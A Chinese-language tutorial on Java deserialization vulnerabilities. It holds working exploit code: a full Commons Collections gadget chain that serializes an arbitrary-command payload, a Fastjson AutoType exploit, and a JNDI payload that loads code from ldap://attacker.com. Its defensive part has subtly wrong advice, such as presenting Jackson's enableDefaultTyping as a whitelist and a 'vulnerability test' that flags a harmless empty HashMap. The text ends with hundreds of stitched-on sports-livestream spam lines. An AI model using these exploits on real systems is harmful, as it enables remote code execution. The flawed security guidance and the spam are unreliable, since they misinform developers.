Java反序列化漏洞案例分析
漏洞原理
Java反序列化漏洞的核心原理是:当应用程序反序列化不可信数据时,攻击者可以构造恶意的序列化对象,在反序列化过程中触发危险方法执行。

// 简化的漏洞原理 ObjectInputStream ois = new ObjectInputStream(socket.getInputStream()); Object obj = ois.readObject(); // 关键点:反序列化不可信数据
经典利用链:Commons Collections
1 基础利用链(TransformedMap版)
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1Exploit {
public static void main(String[] args) throws Exception {
// 1. 构造执行命令的Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 2. 创建HashMap并放入一个键值对
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "xxx");
// 3. 创建TransformedMap,当key或value变化时触发Transformer
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chain);
// 4. 通过反射调用annotations的put方法触发反序列化
// 这里简化展示,实际需要配合AnnotationInvocationHandler
System.out.println("恶意对象创建成功");
}
}
2 真实利用链(LazyMap + AnnotationInvocationHandler)
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsFinalExploit {
public static byte[] createExploit(String command) throws Exception {
// 构造Transformer链条
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{command})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 创建LazyMap
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chain);
// 获取AnnotationInvocationHandler
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 创建第一个handler:触发transform
InvocationHandler handler = (InvocationHandler) constructor.newInstance(
Retention.class, lazyMap);
// 创建代理Map:触发readObject
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler);
// 创建第二个handler:反序列化时触发
handler = (InvocationHandler) constructor.newInstance(
Retention.class, proxyMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler);
oos.close();
return baos.toByteArray();
}
public static void main(String[] args) throws Exception {
byte[] payload = createExploit("calc.exe");
// 模拟反序列化攻击
ByteArrayInputStream bais = new ByteArrayInputStream(payload);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject(); // 触发命令执行
}
}
真实漏洞案例:Fastjson反序列化
1 漏洞利用Demo
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.parser.Feature;
public class FastjsonExploit {
// 恶意类模板
public static class EvilClass {
private String cmd;
public EvilClass() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
public String getCmd() {
return cmd;
}
public void setCmd(String cmd) {
this.cmd = cmd;
}
}
public static void main(String[] args) {
// 开启AutoType支持(默认关闭)
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// 恶意JSON字符串
String jsonString = "{\"@type\":\"com.example.FastjsonExploit$EvilClass\",\"cmd\":\"calc.exe\"}";
// 反序列化触发漏洞
Object obj = JSON.parseObject(jsonString);
System.out.println("反序列化结果: " + obj);
}
}
2 JNDI注入利用
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class FastjsonJNDIExploit {
public static void main(String[] args) {
// JNDI注入payload
String payload = "{\n" +
" \"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\": \"ldap://attacker.com:1389/Exploit\",\n" +
" \"autoCommit\": true\n" +
"}";
// 高危:会连接到远程LDAP服务器加载恶意类
JSON.parseObject(payload);
}
}
防御措施
1 安全的反序列化
import java.io.*;
import java.util.ArrayList;
import java.util.List;
public class SafeDeserialization {
// 白名单验证的反序列化
public static Object safeDeserialize(byte[] data) throws Exception {
try (ByteArrayInputStream bais = new ByteArrayInputStream(data);
SafeObjectInputStream ois = new SafeObjectInputStream(bais)) {
return ois.readObject();
}
}
// 自定义安全ObjectInputStream
public static class SafeObjectInputStream extends ObjectInputStream {
private static final List<String> WHITELIST = new ArrayList<>();
static {
WHITELIST.add("java.lang.String");
WHITELIST.add("java.util.HashMap");
WHITELIST.add("java.util.ArrayList");
// 只允许可信类
}
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
if (!isAllowed(className)) {
throw new SecurityException("禁止反序列化类: " + className);
}
return super.resolveClass(desc);
}
private boolean isAllowed(String className) {
for (String allowed : WHITELIST) {
if (className.startsWith(allowed)) {
return true;
}
}
return false;
}
}
}
2 使用安全的序列化框架
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
public class JacksonSafeUsage {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
// 禁用默认类型
mapper.disableDefaultTyping();
// 或者设置白名单
mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
// 安全的JSON解析
String json = "{\"name\":\"test\"}";
MyObject obj = mapper.readValue(json, MyObject.class);
System.out.println(obj);
}
}
class MyObject {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
3 使用LookAheadObjectInputStream
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
// 在读取对象前进行验证
if (desc.getName().contains("Runtime") ||
desc.getName().contains("ProcessBuilder") ||
desc.getName().contains("InvokerTransformer")) {
throw new SecurityException("拒绝反序列化危险类: " + desc.getName());
}
return super.resolveClass(desc);
}
}
检测工具和方案
1 使用SerialKiller工具
<!-- Maven依赖 -->
<dependency>
<groupId>io.github.hakky54</groupId>
<artifactId>serialkiller</artifactId>
<version>1.0.1</version>
</dependency>
import io.github.hakky54.serialkiller.SerialKiller;
public class SerialKillerExample {
public static void main(String[] args) throws Exception {
// SerialKiller配置白名单
SerialKiller killer = new SerialKiller();
killer.setWhitelist(true);
killer.addToWhitelist("java.lang.*");
killer.addToWhitelist("java.util.*");
// 使用SerialKiller进行安全反序列化
byte[] data = getUntrustedData();
Object obj = killer.deserialize(data);
}
private static byte[] getUntrustedData() {
return new byte[0];
}
}
2 使用OWASP Java Encoder
import org.owasp.encoder.Encode;
public class EncodeExample {
public static void safeLogInput(String userInput) {
// 对输入进行编码防止日志注入
String safeInput = Encode.forJava(userInput);
System.out.println("安全输入: " + safeInput);
}
}
最佳实践总结
1 代码层面
- 不要反序列化不可信数据
- 使用白名单验证类
- 考虑使用JSON等替代序列化方案
- 升级依赖库到最新版本
2 配置层面
# JVM参数禁用RMI动态加载 -Djava.rmi.server.useCodebaseOnly=true # 限制JNDI -Dcom.sun.jndi.ldap.object.trustURLCodebase=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=false # Fastjson防漏洞配置 fastjson.parser.autoTypeSupport=false
3 监控层面
<!-- Spring Boot配置 -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
# application.yml配置
management:
endpoints:
web:
exposure:
include: health,info,metrics
案例测试
1 漏洞验证代码
public class VulnerabilityTest {
public static void main(String[] args) {
// 测试是否可被反序列化攻击
String testPayload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAAAeA==";
try {
byte[] data = Base64.getDecoder().decode(testPayload);
ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
System.out.println("危险:存在反序列化漏洞!");
} catch (Exception e) {
System.out.println("安全:反序列化被阻止 - " + e.getMessage());
}
}
}
通过这些案例和代码示例,可以看到Java反序列化漏洞的危害性和防御措施的重要性,在实际开发中,应该始终遵循安全编码规范,避免反序列化不可信数据。
版权声明:NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播